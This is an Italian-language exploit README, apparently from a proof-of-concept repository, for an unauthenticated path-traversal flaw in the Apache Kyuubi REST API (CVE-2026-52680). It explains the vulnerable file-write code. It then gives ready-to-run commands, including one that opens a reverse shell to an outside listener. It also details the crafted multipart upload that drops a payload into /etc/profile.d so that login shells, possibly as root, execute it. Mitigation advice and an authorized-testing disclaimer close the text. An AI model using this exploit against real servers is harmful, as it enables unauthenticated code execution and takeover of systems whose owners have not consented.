
Exploit per Apache Kyuubi path traversal (CVE-2026-52680) che consente la scrittura arbitraria di file non autenticata e l'esecuzione di codice tramite script shell profile.d.
Scrittura arbitraria di file non autenticata nell'API REST di Apache Kyuubi tramite l'endpoint multipart di invio batch.
POST /api/v1/batches (multipart/form-data) scrive la parte resourceFile in $KYUUBI_HOME/work/upload/<batchId>/ usando il nome file fornito dal client senza alcun controllo di path traversal (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Un nome file con ../ fuoriesce dalla directory di upload → scrittura arbitraria di file (CWE-22) come utente del processo Kyuubi. Kyuubi viene fornito con kyuubi.authentication=NONE di default, quindi l'endpoint è non autenticato.
1.7.0 – 1.11.11.12.0 (aggiunge il controllo di contenimento filePath.normalize().startsWith(dir.normalize()))10099 (frontend REST, non autenticato quando authentication=NONE)writeToTempFile inserisce -<yyyyMMddHHmmss>-<counter> prima dell'estensione, quindi controlli la directory di destinazione, l'estensione e il contenuto, ma non l'esatto basename. Questo impedisce sovrascritture con nome esatto (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — punta invece a una posizione che viene eseguita per glob.
Questo exploit rilascia /etc/profile.d/pwn.sh → salvato come /etc/profile.d/pwn-<ts>-<n>.sh, che corrisponde ancora a /etc/profile.d/*.sh e viene sourced (non richiede il bit di esecuzione) da ogni shell di login. Viene eseguito come qualunque utente apra una shell di login — root se Kyuubi gira come root e avviene un login root (ad es. ssh root@host, su -, un cron bash -lc).
Solo libreria standard di Python 3 — nessuna dipendenza.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
L'upload restituisce HTTP 500 (Error opening batch session) quando non è presente un backend Spark — è previsto e innocuo: il file viene scritto prima che il batch venga avviato.
Due parti multipart:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — una BatchRequest minimale valida affinché la validazione passi e venga raggiunto il sink di upload.resourceFile, nome file ../../../../../../etc/profile.d/pwn.sh, body = il payload. Kyuubi lo scrive (con basename alterato) in /etc/profile.d/pwn-<ts>-<n>.sh.Una shell di login successivamente esegue il source di /etc/profile.d/*.sh ed esegue il payload.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
Un frontend REST Kyuubi sulla porta 10099 con authentication=NONE è sfruttabile.
Aggiorna ad Apache Kyuubi ≥ 1.12.0, abilita l'autenticazione (kyuubi.authentication), non esporre mai il gateway REST a reti non fidate e non eseguire Kyuubi come root.
Solo per test di sicurezza autorizzati e formazione. Usalo solo contro sistemi di tua proprietà o per cui hai esplicito permesso di test.